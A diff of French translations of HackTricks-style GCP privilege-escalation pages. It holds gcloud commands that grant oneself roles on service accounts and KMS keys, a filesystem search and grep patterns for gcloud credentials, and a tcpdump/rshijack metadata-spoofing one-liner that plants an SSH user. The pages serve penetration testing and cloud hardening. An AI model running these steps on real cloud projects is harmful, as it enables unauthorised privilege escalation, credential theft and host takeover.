||||
|
||||
Un attaquant avec les permissions mentionnées pourra **signer des jetons web JSON (JWT) bien formés**. La différence avec la méthode précédente est que **au lieu de faire signer un blob contenant un JWT par Google, nous utilisons la méthode signJWT qui attend déjà un JWT**. Cela rend l'utilisation plus facile mais vous ne pouvez signer que des JWT au lieu de n'importe quel octet.
|
||||
Un attaquant disposant des permissions mentionnées pourra **signer des JSON web tokens bien formés (JWTs)**. La différence avec la méthode précédente est que **au lieu de faire en sorte que google signe un blob contenant un JWT, nous utilisons la méthode signJWT qui attend déjà un JWT**. Cela la rend plus facile à utiliser mais vous pouvez uniquement signer des JWT au lieu de n'importe quels octets.
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Vous pouvez trouver un script pour automatiser la [**création, exploit et nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
Un attaquant avec les permissions mentionnées pourra **ajouter des politiques IAM aux comptes de service**. Vous pouvez en abuser pour **vous accorder** les permissions dont vous avez besoin pour usurper le compte de service. Dans l'exemple suivant, nous nous accordons le rôle `roles/iam.serviceAccountTokenCreator` sur le SA intéressant :
|
||||
Un attaquant disposant des permissions mentionnées pourra **ajouter des IAM policies aux service accounts**. Vous pouvez en abuser pour **vous accorder** les permissions nécessaires pour usurper le service account. Dans l'exemple suivant nous nous accordons le rôle `roles/iam.serviceAccountTokenCreator` sur le SA intéressant :
|
||||
|
||||
<details><summary>Ajouter un IAM policy binding au service account</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -83,45 +101,55 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
Vous pouvez trouver un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
</details>
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
La **permission iam.serviceAccounts.actAs** est comme la **permission iam:PassRole d'AWS**. Elle est essentielle pour exécuter des tâches, comme initier une instance Compute Engine, car elle accorde la capacité d'"agir en tant que" un compte de service, garantissant une gestion sécurisée des permissions. Sans cela, les utilisateurs pourraient obtenir un accès indû. De plus, exploiter le **iam.serviceAccounts.actAs** implique diverses méthodes, chacune nécessitant un ensemble de permissions, contrairement à d'autres méthodes qui n'ont besoin que d'une seule.
|
||||
La permission **iam.serviceAccounts.actAs** est similaire à la permission **iam:PassRole** d'AWS. Elle est essentielle pour exécuter des tâches, comme démarrer une instance Compute Engine, car elle permet de « actAs » un compte de service, garantissant une gestion sécurisée des permissions. Sans elle, des utilisateurs pourraient obtenir un accès indu. De plus, exploiter **iam.serviceAccounts.actAs** implique diverses méthodes, chacune nécessitant un ensemble de permissions, contrairement à d'autres méthodes qui n'en requièrent qu'une seule.
|
||||
|
||||
#### Usurpation de compte de service <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Usurper un compte de service peut être très utile pour **obtenir de nouveaux et meilleurs privilèges**. Il existe trois façons d'[usurper un autre compte de service](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) :
|
||||
L'usurpation d'un compte de service peut être très utile pour **obtenir de nouveaux privilèges ou des privilèges supérieurs**. Il existe trois manières de [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
|
||||
- Authentification **à l'aide de clés privées RSA** (couverte ci-dessus)
|
||||
- Autorisation **à l'aide de politiques Cloud IAM** (couverte ici)
|
||||
- **Déploiement de tâches sur les services GCP** (plus applicable à la compromission d'un compte utilisateur)
|
||||
- Authentification **using RSA private keys** (déjà couvert ci‑dessus)
|
||||
- Autorisation **using Cloud IAM policies** (traité ici)
|
||||
- **Deploying jobs on GCP services** (plus applicable à la compromission d'un compte utilisateur)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
Un attaquant avec les permissions mentionnées sera capable de générer un OpenID JWT. Ceux-ci sont utilisés pour affirmer l'identité et ne portent pas nécessairement d'autorisation implicite contre une ressource.
|
||||
Un attaquant disposant des permissions mentionnées pourra générer un OpenID JWT. Ceux-ci sont utilisés pour affirmer une identité et n'apportent pas nécessairement d'autorisation implicite sur une ressource.
|
||||
|
||||
Selon ce [**post intéressant**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), il est nécessaire d'indiquer l'audience (service où vous souhaitez utiliser le token pour vous authentifier) et vous recevrez un JWT signé par google indiquant le compte de service et l'audience du JWT.
|
||||
Selon ce [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), il est nécessaire d'indiquer l'audience (le service auprès duquel vous souhaitez utiliser le token pour vous authentifier) et vous recevrez un JWT signé par google indiquant le compte de service et l'audience du JWT.
|
||||
|
||||
Vous pouvez générer un OpenIDToken (si vous avez l'accès) avec :
|
||||
|
||||
<details><summary>Générer un OpenID token pour un compte de service</summary>
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
Vous pouvez alors l'utiliser pour accéder au service avec :
|
||||
</details>
|
||||
|
||||
Ensuite, vous pouvez simplement l'utiliser pour accéder au service avec :
|
||||
|
||||
<details><summary>Utiliser un token OpenID pour s'authentifier</summary>
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
Certains services qui prennent en charge l'authentification via ce type de jetons sont :
|
||||
</details>
|
||||
|
||||
Quelques services qui prennent en charge l'authentification via ce type de tokens sont :
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (si vous utilisez Google OIDC)
|
||||
|
||||
Vous pouvez trouver un exemple sur la façon de créer un jeton OpenID au nom d'un compte de service [**ici**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
Vous pouvez trouver un exemple montrant comment créer un OpenID token au nom d'un service account [**ici**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
@@ -10,11 +10,13 @@ Informations sur KMS :
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Notez qu'avec KMS, les **permissions** ne sont pas seulement **héritées** des Organisations, Dossiers et Projets, mais aussi des **Keyrings**.
|
||||
Notez que dans KMS, les **permission** ne sont pas seulement **héritées** des Orgs, Folders and Projects mais aussi des **Keyrings**.
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecrypt`
|
||||
|
||||
Vous pouvez utiliser cette permission pour **décrypter des informations avec la clé** sur laquelle vous avez cette permission.
|
||||
You can use this permission to **decrypt information with the key** you have this permission over.
|
||||
|
||||
<details><summary>Décrypter des données en utilisant une clé KMS</summary>
|
||||
```bash
|
||||
gcloud kms decrypt \
|
||||
--location=[LOCATION] \
|
||||
@@ -24,9 +26,13 @@ gcloud kms decrypt \
|
||||
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
|
||||
--plaintext-file=[DECRYPTED_FILE_PATH]
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeys.setIamPolicy`
|
||||
|
||||
Un attaquant avec cette permission pourrait **s'accorder des permissions** pour utiliser la clé afin de déchiffrer des informations.
|
||||
Un attaquant disposant de cette permission pourrait **s'accorder des autorisations** pour utiliser la clé afin de déchiffrer des informations.
|
||||
|
||||
<details><summary>S'accorder le rôle de déchiffreur KMS</summary>
|
||||
```bash
|
||||
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--location [LOCATION] \
|
||||
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--member [MEMBER] \
|
||||
--role roles/cloudkms.cryptoKeyDecrypter
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
|
||||
|
||||
Voici une explication conceptuelle de la façon dont cette délégation fonctionne :
|
||||
Voici une explication conceptuelle du fonctionnement de cette délégation :
|
||||
|
||||
1. **Le Compte de Service A** a un accès direct pour déchiffrer en utilisant une clé spécifique dans KMS.
|
||||
2. **Le Compte de Service B** se voit accorder la permission `useToDecryptViaDelegation`. Cela lui permet de demander à KMS de déchiffrer des données au nom du Compte de Service A.
|
||||
1. **Compte de service A** dispose d'un accès direct pour déchiffrer en utilisant une clé spécifique dans KMS.
|
||||
2. **Compte de service B** se voit accorder la permission `useToDecryptViaDelegation`. Cela lui permet de demander à KMS de déchiffrer des données au nom du Compte de service A.
|
||||
|
||||
L'utilisation de cette **permission est implicite dans la façon dont le service KMS vérifie les permissions** lorsqu'une demande de déchiffrement est faite.
|
||||
L'utilisation de cette **permission est implicite dans la manière dont le service KMS vérifie les permissions** lorsqu'une requête de déchiffrement est effectuée.
|
||||
|
||||
Lorsque vous faites une demande de déchiffrement standard en utilisant l'API Google Cloud KMS (en Python ou dans un autre langage), le service **vérifie si le compte de service demandeur a les permissions nécessaires**. Si la demande est faite par un compte de service avec la **permission `useToDecryptViaDelegation`**, KMS vérifie si ce **compte est autorisé à demander le déchiffrement au nom de l'entité qui possède la clé**.
|
||||
Lorsque vous effectuez une requête de déchiffrement standard en utilisant la Google Cloud KMS API (en Python ou un autre langage), le service **vérifie si le compte de service demandeur dispose des permissions nécessaires**. Si la requête est effectuée par un compte de service possédant la permission **`useToDecryptViaDelegation`**, KMS vérifie si ce **compte est autorisé à demander le déchiffrement au nom de l'entité qui possède la clé**.
|
||||
|
||||
#### Configuration pour la Délégation
|
||||
#### Mise en place de la délégation
|
||||
|
||||
1. **Définir le Rôle Personnalisé** : Créez un fichier YAML (par exemple, `custom_role.yaml`) qui définit le rôle personnalisé. Ce fichier doit inclure la permission `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Voici un exemple de ce à quoi ce fichier pourrait ressembler :
|
||||
1. **Définir le rôle personnalisé** : Créez un fichier YAML (par ex., `custom_role.yaml`) qui définit le rôle personnalisé. Ce fichier doit inclure la permission `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Voici un exemple de ce à quoi ce fichier pourrait ressembler :
|
||||
|
||||
<details><summary>Définition YAML du rôle personnalisé</summary>
|
||||
```yaml
|
||||
title: "KMS Decryption via Delegation"
|
||||
description: "Allows decryption via delegation"
|
||||
@@ -55,13 +65,21 @@ stage: "GA"
|
||||
includedPermissions:
|
||||
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
|
||||
```
|
||||
</details>
|
||||
|
||||
2. **Créer le rôle personnalisé en utilisant le gcloud CLI** : Utilisez la commande suivante pour créer le rôle personnalisé dans votre projet Google Cloud :
|
||||
|
||||
<details><summary>Créer un rôle KMS personnalisé</summary>
|
||||
```bash
|
||||
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
|
||||
```
|
||||
Remplacez `[YOUR_PROJECT_ID]` par l'ID de votre projet Google Cloud.
|
||||
Remplacez [YOUR_PROJECT_ID] par l'ID de projet Google Cloud.
|
||||
|
||||
3. **Accorder le rôle personnalisé à un compte de service** : Assignez votre rôle personnalisé à un compte de service qui utilisera cette autorisation. Utilisez la commande suivante :
|
||||
</details>
|
||||
|
||||
3. **Accorder le rôle personnalisé à un compte de service** : Attribuez votre rôle personnalisé à un compte de service qui utilisera cette permission. Utilisez la commande suivante :
|
||||
|
||||
<details><summary>Accorder le rôle personnalisé au compte de service</summary>
|
||||
```bash
|
||||
# Give this permission to the service account to impersonate
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
|
||||
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
|
||||
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
|
||||
```
|
||||
Remplacez `[YOUR_PROJECT_ID]` et `[SERVICE_ACCOUNT_EMAIL]` par l'ID de votre projet et l'email du compte de service, respectivement.
|
||||
Remplacez `[YOUR_PROJECT_ID]` et `[SERVICE_ACCOUNT_EMAIL]` par votre ID de projet et l'adresse e-mail du compte de service, respectivement.
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+25
-17
@@ -1,40 +1,40 @@
|
||||
# GCP - élévation de privilèges locale ssh pivoting
|
||||
# GCP - local privilege escalation ssh pivoting
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
dans ce scénario, nous allons supposer que vous **avez compromis un compte non privilégié** à l'intérieur d'une VM dans un projet Compute Engine.
|
||||
dans ce scénario nous allons supposer que vous **avez compromis un compte non privilégié** à l'intérieur d'une VM dans un projet Compute Engine.
|
||||
|
||||
Étonnamment, les permissions GPC du compute engine que vous avez compromis peuvent vous aider à **escalader les privilèges localement à l'intérieur d'une machine**. Même si cela ne sera pas toujours très utile dans un environnement cloud, il est bon de savoir que c'est possible.
|
||||
Étonnamment, les permissions GCP de la Compute Engine que vous avez compromise peuvent vous aider à **escalate privileges locally inside a machine**. Même si cela n'est pas toujours très utile dans un environnement cloud, c'est bon de savoir que c'est possible.
|
||||
|
||||
## Lire les scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
|
||||
**Les instances de calcul** sont probablement là pour **exécuter des scripts** afin d'effectuer des actions avec leurs comptes de service.
|
||||
**Compute Instances** sont probablement là pour **exécuter certains scripts** afin d'effectuer des actions avec leurs service accounts.
|
||||
|
||||
Comme IAM est très granulaire, un compte peut avoir des privilèges **de lecture/écriture** sur une ressource mais **aucun privilège de liste**.
|
||||
Comme IAM devient granulaire, un compte peut avoir des privilèges **read/write** sur une ressource mais **no list privileges**.
|
||||
|
||||
Un excellent exemple hypothétique de cela est une instance de calcul qui a la permission de lire/écrire des sauvegardes dans un bucket de stockage appelé `instance82736-long-term-xyz-archive-0332893`.
|
||||
Un excellent exemple hypothétique est une Compute Instance qui a la permission de lire/écrire des backups dans un storage bucket appelé `instance82736-long-term-xyz-archive-0332893`.
|
||||
|
||||
L'exécution de `gsutil ls` depuis la ligne de commande ne renvoie rien, car le compte de service manque de la permission IAM `storage.buckets.list`. Cependant, si vous exécutez `gsutil ls gs://instance82736-long-term-xyz-archive-0332893`, vous pourriez trouver une sauvegarde complète du système de fichiers, vous donnant un accès en texte clair aux données dont votre compte Linux local manque.
|
||||
Exécuter `gsutil ls` depuis la ligne de commande ne retourne rien, car le service account n'a pas la permission IAM `storage.buckets.list`. Cependant, si vous lancez `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` vous pouvez trouver une sauvegarde complète du système de fichiers, vous donnant un accès en clair à des données que votre compte Linux local n'a pas.
|
||||
|
||||
Vous pourriez être en mesure de trouver ce nom de bucket à l'intérieur d'un script (en bash, Python, Ruby...).
|
||||
Vous pouvez retrouver ce nom de bucket à l'intérieur d'un script (bash, Python, Ruby...).
|
||||
|
||||
## Métadonnées personnalisées
|
||||
## Custom Metadata
|
||||
|
||||
Les administrateurs peuvent ajouter [des métadonnées personnalisées](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) au **niveau de l'instance** et au **niveau du projet**. C'est simplement un moyen de passer **des paires clé/valeur arbitraires dans une instance**, et est couramment utilisé pour les variables d'environnement et les scripts de démarrage/arrêt.
|
||||
Les administrateurs peuvent ajouter [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) au niveau de l'**instance** et du **project level**. C'est simplement un moyen de transmettre des **paires clé/valeur arbitraires dans une instance**, et c'est couramment utilisé pour des variables d'environnement et des scripts de démarrage/arrêt.
|
||||
|
||||
De plus, il est possible d'ajouter **des userdata**, qui est un script qui sera **exécuté à chaque fois** que la machine est démarrée ou redémarrée et qui peut être **accédé depuis le point de terminaison des métadonnées également.**
|
||||
De plus, il est possible d'ajouter du **userdata**, qui est un script qui sera **exécuté à chaque démarrage** de la machine et qui peut aussi être **accessible depuis le metadata endpoint.**
|
||||
|
||||
Pour plus d'infos, consultez :
|
||||
Pour plus d'infos check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
## **Abus des permissions IAM**
|
||||
## **Abusing IAM permissions**
|
||||
|
||||
La plupart des permissions proposées suivantes sont **données au SA Compute par défaut,** le seul problème est que le **scope d'accès par défaut empêche le SA de les utiliser**. Cependant, si le **scope `cloud-platform`** est activé ou juste le **scope `compute`** est activé, vous serez **capable de les abuser**.
|
||||
La plupart des permissions suivantes sont **données au Compute SA par défaut**, le seul problème est que le **default access scope empêche le SA de les utiliser**. Cependant, si le **`cloud-platform`** **scope** est activé ou si seul le **`compute`** **scope** est activé, vous serez **en mesure de les abuser**.
|
||||
|
||||
Vérifiez les permissions suivantes :
|
||||
Check the following permissions:
|
||||
|
||||
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
|
||||
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
|
||||
@@ -44,10 +44,14 @@ Vérifiez les permissions suivantes :
|
||||
|
||||
## Rechercher des clés dans le système de fichiers
|
||||
|
||||
Vérifiez si d'autres utilisateurs se sont connectés à gcloud à l'intérieur de la boîte et ont laissé leurs identifiants dans le système de fichiers :
|
||||
Vérifiez si d'autres utilisateurs se sont connectés avec gcloud sur la machine et ont laissé leurs identifiants dans le système de fichiers :
|
||||
|
||||
<details><summary>Rechercher les identifiants gcloud dans le système de fichiers</summary>
|
||||
```
|
||||
sudo find / -name "gcloud"
|
||||
```
|
||||
</details>
|
||||
|
||||
Voici les fichiers les plus intéressants :
|
||||
|
||||
- `~/.config/gcloud/credentials.db`
|
||||
@@ -55,7 +59,9 @@ Voici les fichiers les plus intéressants :
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
|
||||
- `~/.credentials.json`
|
||||
|
||||
### Plus de regex pour les clés API
|
||||
### Autres regex pour les clés API
|
||||
|
||||
<details><summary>Patrons grep pour les identifiants et clés GCP</summary>
|
||||
```bash
|
||||
TARGET_DIR="/path/to/whatever"
|
||||
|
||||
@@ -87,6 +93,8 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
|
||||
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
|
||||
"$TARGET_DIR"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Références
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
+32
-17
@@ -1,48 +1,63 @@
|
||||
# GCP - Évasion Docker Réseau
|
||||
# GCP - Network Docker Escape
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## État Initial
|
||||
## État initial
|
||||
|
||||
Dans les deux rapports où cette technique est spécifiée, les attaquants ont réussi à obtenir un accès **root** à l'intérieur d'un conteneur **Docker** géré par GCP avec accès au réseau hôte (et les capacités **`CAP_NET_ADMIN`** et **`CAP_NET_RAW`**).
|
||||
Dans les deux rapports où cette technique est décrite, les attaquants ont réussi à obtenir un accès **root** à l'intérieur d'un conteneur **Docker** géré par **GCP** avec accès au réseau de l'hôte (et les capacités **`CAP_NET_ADMIN`** et **`CAP_NET_RAW`**).
|
||||
|
||||
## Explication de l'Attaque
|
||||
## Explication de l'attaque
|
||||
|
||||
Sur une instance Google Compute Engine, une inspection régulière du trafic réseau révèle de nombreuses **requêtes HTTP en clair** vers l'**instance de métadonnées** à `169.254.169.254`. Le [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), un service open-source, effectue fréquemment de telles requêtes.
|
||||
Sur une instance Google Compute Engine, une inspection régulière du trafic réseau révèle de nombreuses **requêtes HTTP en clair** vers l'instance de metadata à `169.254.169.254`. Le [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), un service open-source, effectue fréquemment ce type de requêtes.
|
||||
|
||||
Cet agent est conçu pour **surveiller les changements dans les métadonnées**. Notamment, les métadonnées incluent un **champ pour les clés publiques SSH**. Lorsqu'une nouvelle clé publique SSH est ajoutée aux métadonnées, l'agent l'**autorise automatiquement** dans le fichier `.authorized_key`. Il peut également **créer un nouvel utilisateur** et l'ajouter aux **sudoers** si nécessaire.
|
||||
Cet agent est conçu pour **surveiller les changements dans la metadata**. Notamment, la metadata inclut un **champ pour les clés publiques SSH**. Lorsqu'une nouvelle clé publique SSH est ajoutée à la metadata, l'agent l'**autorise** automatiquement dans le fichier `.authorized_key`. Il peut aussi **créer un nouvel utilisateur** et l'ajouter aux **sudoers** si nécessaire.
|
||||
|
||||
L'agent surveille les changements en envoyant une requête pour **récupérer toutes les valeurs de métadonnées de manière récursive** (`GET /computeMetadata/v1/?recursive=true`). Cette requête est conçue pour inciter le serveur de métadonnées à envoyer une réponse uniquement s'il y a un changement dans les métadonnées depuis la dernière récupération, identifié par un Etag (`wait_for_change=true&last_etag=`). De plus, un paramètre de **timeout** (`timeout_sec=`) est inclus. Si aucun changement ne se produit dans le délai spécifié, le serveur répond avec les **valeurs inchangées**.
|
||||
L'agent surveille les changements en envoyant une requête pour **récupérer toutes les valeurs de metadata de façon récursive** (`GET /computeMetadata/v1/?recursive=true`). Cette requête est conçue pour inciter le serveur de metadata à renvoyer une réponse uniquement s'il y a eu un changement dans la metadata depuis la dernière récupération, identifié par un Etag (`wait_for_change=true&last_etag=`). De plus, un paramètre de **timeout** (`timeout_sec=`) est inclus. Si aucun changement ne survient pendant le délai spécifié, le serveur répond avec les **valeurs inchangées**.
|
||||
|
||||
Ce processus permet au **IMDS** (Instance Metadata Service) de répondre après **60 secondes** si aucun changement de configuration n'a eu lieu, créant une **fenêtre potentielle pour injecter une réponse de configuration falsifiée** à l'agent invité.
|
||||
Ce processus permet à l'**IMDS** (Instance Metadata Service) de répondre après **60 secondes** si aucune modification de configuration n'a eu lieu, créant une fenêtre potentielle pour **injecter une fausse réponse de configuration** vers le guest agent.
|
||||
|
||||
Un attaquant pourrait exploiter cela en effectuant une **attaque Man-in-the-Middle (MitM)**, en falsifiant la réponse du serveur IMDS et en **insérant une nouvelle clé publique**. Cela pourrait permettre un accès SSH non autorisé à l'hôte.
|
||||
Un attaquant pourrait exploiter cela en réalisant une attaque **Man-in-the-Middle (MitM)**, en spoofant la réponse du serveur IMDS et en **insérant une nouvelle clé publique**. Cela pourrait permettre un accès SSH non autorisé à l'hôte.
|
||||
|
||||
### Technique d'Évasion
|
||||
### Technique d'évasion
|
||||
|
||||
Bien que le spoofing ARP soit inefficace sur les réseaux Google Compute Engine, une [**version modifiée de rshijack**](https://github.com/ezequielpereira/rshijack) développée par [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) peut être utilisée pour l'injection de paquets dans la communication afin d'injecter l'utilisateur SSH.
|
||||
Alors que l'ARP spoofing est inefficace sur les réseaux Google Compute Engine, une [**version modifiée de rshijack**](https://github.com/ezequielpereira/rshijack) développée par [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) peut être utilisée pour l'injection de paquets dans la communication afin d'injecter l'utilisateur SSH.
|
||||
|
||||
Cette version de rshijack permet d'entrer les numéros ACK et SEQ en tant qu'arguments de ligne de commande, facilitant le spoofing d'une réponse avant la véritable réponse du serveur de métadonnées. De plus, un [**petit script Shell**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) est utilisé pour renvoyer une **charge utile spécialement conçue**. Cette charge utile déclenche le Google Guest Agent pour **créer un utilisateur `wouter`** avec une clé publique spécifiée dans le fichier `.authorized_keys`.
|
||||
Cette version de rshijack permet de fournir les numéros ACK et SEQ en tant qu'arguments en ligne de commande, facilitant le spoofing d'une réponse avant la réponse réelle du serveur Metadata. De plus, un [**petit Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) est utilisé pour renvoyer une **charge utile spécialement conçue**. Cette charge déclenche le Google Guest Agent pour **créer un utilisateur `wouter`** avec une clé publique spécifiée dans le fichier `.authorized_keys`.
|
||||
|
||||
Le script utilise le même ETag pour empêcher le serveur de métadonnées de notifier immédiatement le Google Guest Agent de valeurs de métadonnées différentes, retardant ainsi la réponse.
|
||||
Le script utilise le même ETag pour empêcher le serveur Metadata d'avertir immédiatement le Google Guest Agent de valeurs de metadata différentes, retardant ainsi la notification.
|
||||
|
||||
Pour exécuter le spoofing, les étapes suivantes sont nécessaires :
|
||||
|
||||
1. **Surveiller les requêtes au serveur de métadonnées** en utilisant **tcpdump** :
|
||||
1. **Surveiller les requêtes vers le serveur de metadata** en utilisant **tcpdump** :
|
||||
|
||||
<details>
|
||||
<summary>Surveiller les requêtes vers le serveur de metadata avec tcpdump</summary>
|
||||
```bash
|
||||
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
|
||||
```
|
||||
Cherchez une ligne similaire à :
|
||||
</details>
|
||||
|
||||
Recherchez une ligne similaire à :
|
||||
|
||||
<details>
|
||||
<summary>Exemple de ligne de sortie tcpdump</summary>
|
||||
```
|
||||
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
|
||||
```
|
||||
2. Envoyez les fausses métadonnées avec le bon ETAG à rshijack :
|
||||
</details>
|
||||
|
||||
2. Envoyer la fausse metadata avec le bon ETAG à rshijack :
|
||||
|
||||
<details>
|
||||
<summary>Envoyer la fausse metadata et SSH à l'hôte</summary>
|
||||
```bash
|
||||
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
|
||||
```
|
||||
</details>
|
||||
|
||||
Cette étape autorise la clé publique, permettant une connexion SSH avec la clé privée correspondante.
|
||||
|
||||
## Références
|
||||
## References
|
||||
|
||||
- [https://www.ezequiel.tech/2020/08/dropping-shell-in.html](https://www.ezequiel.tech/2020/08/dropping-shell-in.html)
|
||||
- [https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
|
||||
|
||||
+20
-5
@@ -6,7 +6,10 @@
|
||||
|
||||
### `orgpolicy.policy.set`
|
||||
|
||||
Un attaquant exploitant **orgpolicy.policy.set** peut manipuler les politiques organisationnelles, ce qui lui permettra de supprimer certaines restrictions empêchant certaines opérations. Par exemple, la contrainte **appengine.disableCodeDownload** bloque habituellement le téléchargement du code source d'App Engine. Cependant, en utilisant **orgpolicy.policy.set**, un attaquant peut désactiver cette contrainte, obtenant ainsi l'accès pour télécharger le code source, malgré sa protection initiale.
|
||||
Un attaquant disposant de **orgpolicy.policy.set** peut manipuler les policies organisationnelles, ce qui lui permettra de supprimer certaines restrictions empêchant certaines opérations. Par exemple, la contrainte **appengine.disableCodeDownload** bloque généralement le téléchargement du code source App Engine. Cependant, en utilisant **orgpolicy.policy.set**, un attaquant peut désactiver cette contrainte, obtenant ainsi l'accès au téléchargement du code source, malgré sa protection initiale.
|
||||
|
||||
